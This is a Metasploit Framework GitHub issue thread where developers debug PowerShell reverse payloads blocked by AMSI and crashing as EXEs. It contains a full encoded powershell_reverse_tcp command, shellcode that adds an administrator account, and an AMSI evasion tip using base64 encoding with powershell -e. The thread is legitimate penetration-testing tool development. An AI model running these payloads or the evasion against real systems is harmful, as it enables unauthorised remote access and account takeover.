Closed bwatters-r7 closed 6 years ago
You're getting caught on amsi most likely, no stage is requested. Disable it and defender and should work fine. I'm going to rewrite the cmd generation I guess, they sign for arch detection of all things.
Defender is off
Are there AMSI events in the log? Does this occur on all powershell methods (msil/reflection...) I will test on a fully patched and AVed system shortly and produce a bypass or fix. My thought is still that its in the harness, but let's see. Thanks for tracking
Payloads stopped working for me on Windows 10 after the latest updates. I think Cobalt Strike had the same problem. Something to do with function resolution.
On Tue., 3 Jul. 2018, 07:07 RageLtMan, notifications@github.com wrote:
Are there AMSI events in the log? Does this occur on all powershell methods (msil/reflection...) I will test on a fully patched and AVed system shortly and produce a bypass or fix. My thought is still that its in the harness, but let's see. Thanks for tracking
— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/10239#issuecomment-401936664, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4D1ZQmVI3IQQDZwbgS7upGOtmtzdks5uCoucgaJpZM4U_t1_ .
Just PSH or all? They might be tagging the asm resolver...
Packer is still building an updated image. Meantime, I am curious if msil fails because it shouldn't be pulling any unsafe methods in with it. They may have signed for order of exec in there, but its all native .net stuff.
Pulling the payload out using dry_run, and manually running it from cmd.exe produces:
At line:1 char:1
+ $b='powershell.exe';$s=New-Object System.Diagnostics.ProcessStartInfo ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
Our process wrappers are being caught. I took the same payload and stripped out the wrapper
-c &([scriptblock]::create((New-Object IO. ... ReadToEnd()))
and still getting caught. MSIL and reflection... all. I think we might need to redo the harness altogether or add additional obfu.
I hate this cat and mouse idiocy - they are NOT catching the payload itself. Confirmed by using:
s = Rex::Powershell::Script.new("$b...")
s.decompress_code
puts s
copy and paste results into powershell window... with no issues:
$mOzMK = New-Object Object[](3)
$mOzMK[0] = [IntPtr]$(bf $kd)
$mOzMK[1] = $kfk
$mOzMK[2] = $wX.Length
$u3AhY.Invoke($null, $mOzMK)
$kd.Invoke($null, @(0x11112222))
=> nil
[13] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f736d622f707365786563::MetasploitModule>)>
[*] [2018.07.03-02:41:32] Sending stage (214087 bytes) to 192.168.153.100
[*] Meterpreter session 1 opened (172.16.153.143:31184 -> 192.168.153.100:56848) at 2018-07-03 02:41:34 -0400
... Further proving that this is onanistic on both sides. I will figure out what they're jolly well trapping for this time and adjust Rex::Powershell accordingly. If someone else has time tomorrow before i get to this, please feel free to do same, but its not the payloads themselves, its the invocation semantics.
This is like a yard sale of awful ideas. They implemented additional filtering on powershell -c So if we
powershell.exe -c "&([scriptblock]::create....ReadToEnd()))"
AMSI will catch it. However, a stupid simple fix is to:
Rex::Powershell::Script.new("&([scriptblock]::create....ReadToEnd()))").encode_code
and use powershell -e on the product. Another AMSI innovation demystified in a couple of hours...
I'll put together something viable for master tomorrow, meantime, if you really need to pwn something, encode it using the unicode base64 stuff in Rex::Powershell again and use the -e flag to execute. :moneybag:
@sempervictus if you get a patch in today, I'll make it the priority and get it landed, then write up automated tests so we can find out much faster next time.
@bwatters-r7: Wont have it wrapped during working hours, PoC is viable though. Sometime tonight is more likely - still engaged in client environment somewhere between an IDS, logstash, and elasticsearch (the nether void of broken dreams in modern NSM space).
@bwatters-r7: i was able to boil it down to code shuffle. I think we can give the other side a C for effort on this round and let the audience judge efficacy for themselves (after we test and commit our response). Refreshing to code on something fun and personal if even for a bit, thanks for the kick in the ass.
can confirm broken for me on Framework: 4.17.2-dev- Console : 4.17.2-dev- Either psh or exe on Windows Server 2016 10.0.14393 and Window 10 10.0.17134 for both 64 bit or 32 bit powershell reverse payloads same happens for windows/smb/psexec_psh exploit
In an attempt to clarify what this issue is and what I'm trying to figure out, exe versions of powershell payloads crash when I try to run them. I can copy/paste the powershell command with base64-encoded data in it, and it works great. It is the EXEs that fail- that's what I'm trying to fix here... or at least identify the problem.
When I run the exe, it crashes, and I get an error with event ID 1000 in the Application log on windows. It says that there was an app crash and is not particularly useful otherwise:
When I force a dump file for the crash, I get some more information (ish):
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(474.eb0): Access violation - code c0000005 (first/second chance not available)
ntdll!NtWaitForMultipleObjects+0x14:
00007fff`5689aa04 c3 ret
0:000> .ecxr
*** ERROR: Module load completed but symbols could not be loaded for revpsx64.exe
rax=0000000140004000 rbx=0000000000000000 rcx=00000000003f0000
rdx=0000000140004000 rsi=0000000000000000 rdi=0000000000000000
rip=000000014000400e rsp=000000000014ff50 rbp=0000000000000000
r8=00000000003f0000 r9=0000000140004000 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
revpsx64+0x400e:
00000001`4000400e 202d6e6f7020 and byte ptr [00000001`6070af82],ch ds:00000001`6070af82=??
So it looks like we are trying to access something that should not get accessed; specifically in instruction 000000014000400e:
Just for fun, I also attached windbg to it and let it run, and hey.... agreement!
(71c.520): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
revpsx64+0x400e:
00000001`4000400e 202d6e6f7020 and byte ptr [00000001`6070af82],ch ds:00000001`6070af82=??
Then when I hop to that memory location:
00000001`6070AF82 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
So yeah, we're trying to access a memory location that is not mapped into the process. I have no idea why. I assume this is not on purpose.
There is likely a second (unrelated) issue also with powershell payloads in that psexec_psh fails when the script is removed from under powershell's nose during the service's execution. I think that's what's fixed in @sempervictus's patch.
Some context from the prior ticket: https://github.com/rapid7/metasploit-framework/issues/10032#issuecomment-389530922.
Looking at this in a browser vs a mail client makes a world of difference... If i understand correctly, you're trying to use the Rex::Powershell::Command or ..::Script outputs and using Msf::Util::Exe on the product to create a PE structure around it. This should not work as defined here because the semantic of using an outer exe wrapper on what is actually a cmd/exec payload doesn't result in the SC section of the PE being actual shellcode, but powershell script broken out into byte array's you're subjsequently injecting into memory - is not a binary payload when its done even though the internal shellcode in the powershell harnesses is what you'd normally put in that buffer during exegen.
Warning: you are really going to want to read this in a browser....
Powershell payloads are just commands. Sure, longer commands, specialized commands, but commands. We already have an established method of encapsulating commands into payloads with exec and dumping them into exes, so why are we not using it with powershell?
If I use the payload adduser
, and generate a raw payload, it is encapsulated by exec
:
msf5 exploit(multi/handler) > use payload/windows/adduser
msf5 payload(windows/adduser) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 payload(windows/adduser) > generate -f raw
���`��1�d�P0�R
�8�u�}�;}$u�X�X$�f�Y ӋI�:I�4��1����
K�XӋ�ЉD$$[[aYZQ��__Z���]j���Ph1�o��ջ���Vh������<|
���u�GrojS��cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
If I do the same for powershell
payloads, I don't get encapsulation by exec
:
msf5 payload(windows/powershell_reverse_tcp) > generate -f raw
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAEfnUFsCA51WbW/iRhD+zq8YUfewFbwiqFWlSDmVc3JtpPQOHbT5gJCy2ENwY3bp7poXJfz3ztprbEKia2o+gHdnn3nmmZflBxjKDap5LiCEO5UagwJmO/hEX+NcCVTwAa74GuF3rpJdq0WWsUmlgN/QhHc4i7MUhYHWUwvo8TYxXMIX3IRfZ39jbCAc71b4hS+RFg0j+6iwr4zZnxqvcM7zzEQKE9pJeaYJwjMqx4PVUMntjr2woPXGSmXb2tcUV1VorSco9odc8aVf/p6MjErFw9SL5HLJRdI9Xh3pLJbixeKV3IhM8qRYDRymkjFqDU6ApUzyDC3BX/0ASpN0Dn7lBkL8B9qzVCTtoNgszxVns1ST/CT5Jbnc0e8ls6qNZPyIRrNxvLp1FtOf6Dk9yLThyli/znOx61J02bAbxDGuDAGW6fBLKvu36Cpco9J4yvgA3Uj5a8yjoXPUPu//wnr0OW93bQzOcasUTxuFfGmZlsCMimxUrBHDmluZm5KarZO2S0WDmNbZqAJ7gxvGOdX7jo0qU9/573pzKijs+k/emND3EHINk6Mz33ApDUaoTDpPY27wL56lCbdVF/Esm/H4cRoEr9Bhg9wsbMnaQwN9qkrQSFwtRx1OU6/JbGdwMp169tuWXI+xfo+e5x+fensnKYqk2vYnBreGoYhlYuv54mIwim5uAivzJ2vjt++oMOVGl1NhtMAsA5ULQdZAIuSairMNZ+ChWF/YN2Fb+4zWKB+HjVguV7mpN+9FJFc7lT4sDPhRAP3e+c/wRxorqeXcQCTVSqpCPAYD69FaalBIDtaYsHtxL1ztOU2YHVXo19F1e936hd2ieDCLZslUndssmpOaeZ9Uk7Mp3BKk1cZ1PTvwfD/X6tRnqa55vCDOJSik4jBVaquatn38o2EcsCracm5VSMHzjVjLRwyvtyvSVpPeB5T9cR++S4nOcAQdynPB4lbGRSYDNuRmQaudj53/nbrNIs3Q97206IHy+DfkiV9WfBd6XfCOzgUQCoTeSW6vLX1MxhTKWxeUmw3WhBUhXruQaxTqcG6pNNDciCpkrsIBLw1elBUNBKvlSQIgrAZtCd7/+OEcnuFrbsISFZwUR1B9KASpgEnk76QAOjXI1hLxUCmpJr3pkbMG62KfxRly5QevMbhsvlDjb1unnfSfyqeG+W7rNEvlpHGqM5+zXC8Od68bg+4+iTKp0cVT34YjI1fVFUj/H1qH/w2H5LgLEEJ39dgB8i+U6vrAOwkAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
That's made doubly odd because if you checkout out the modules/payloads/singles/windows/powershell_reverse_tcp.rb
file, it has the following includes:
include Msf::Payload::Windows::Exec
include Msf::Payload::Windows::Powershell
include Rex::Powershell::Command
It looks like someone intended the powershell
payloads to be encapsulated by exec
.
The problem is that if you read the code, it appears someone copied the adduser
methodology, except the adduser
payload only has two layers of encapsulation, and powershell
has three. They maintained the use of two function names across three mix-ins(?). Since there are two mix-ins with generate
methods, the generate
from exec gets short-circuited by the generate
method in powershell.rb
and the exec
generate
is bypassed entirely.
I have a working branch now where I have "fixed" the short-circuited encapsulation and it works just fine for encapsulated powershell, spitting out exactly what it looks like it was designed to do. Unfortunately, I a not sure what it might break since anyone using generate
with powershell payloads actually wanted command_string
. I'm about to test to see how much carnage happens in other powershell toys.
Well, the jackass at fault is me, and its because of how the original implementation was wired into psexec - I needed to pass a command string. What we might want to do to cover my mess up with some pretty rugs is pass a param to the generator for depth of wrapping on exec encaps which would let us default to current and have the exe generator go one level off to generate a proper wrapper. Its an ugly hack, but should work... @bwatters-r7: thanks for digging through that ungodly mess to perform the root cause analysis. Oh, and mixins are your friends, this is a design flaw produced by tunnel vision on initial reqs.
I'm not entirely sure it is your fault (at least it was not your name on the commits), and trust me, I had lots of help from @wvu. I anticipated that we would need to hunt around for uses of generate
in rex-powershell among others and figure out a fix. By creating a new name, though, it should be relatively straight forward 🤞. I'm hoping to push up a preliminary PR before I crash out tonight. It will be easier to see when there's code.
Steps to reproduce
How'd you do it?
Expected behavior
I should get a powershell session and a meterpreter session
Current behavior
I only get meterpreter session
System stuff
Metasploit version
I installed Metasploit with:
OS
What OS are you running Metasploit on? msfconsole running on
Linux ubuntu 4.4.0-128-generic #154-Ubuntu SMP Fri May 25 14:15:18 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Windows 2016
Windows 10x64 1511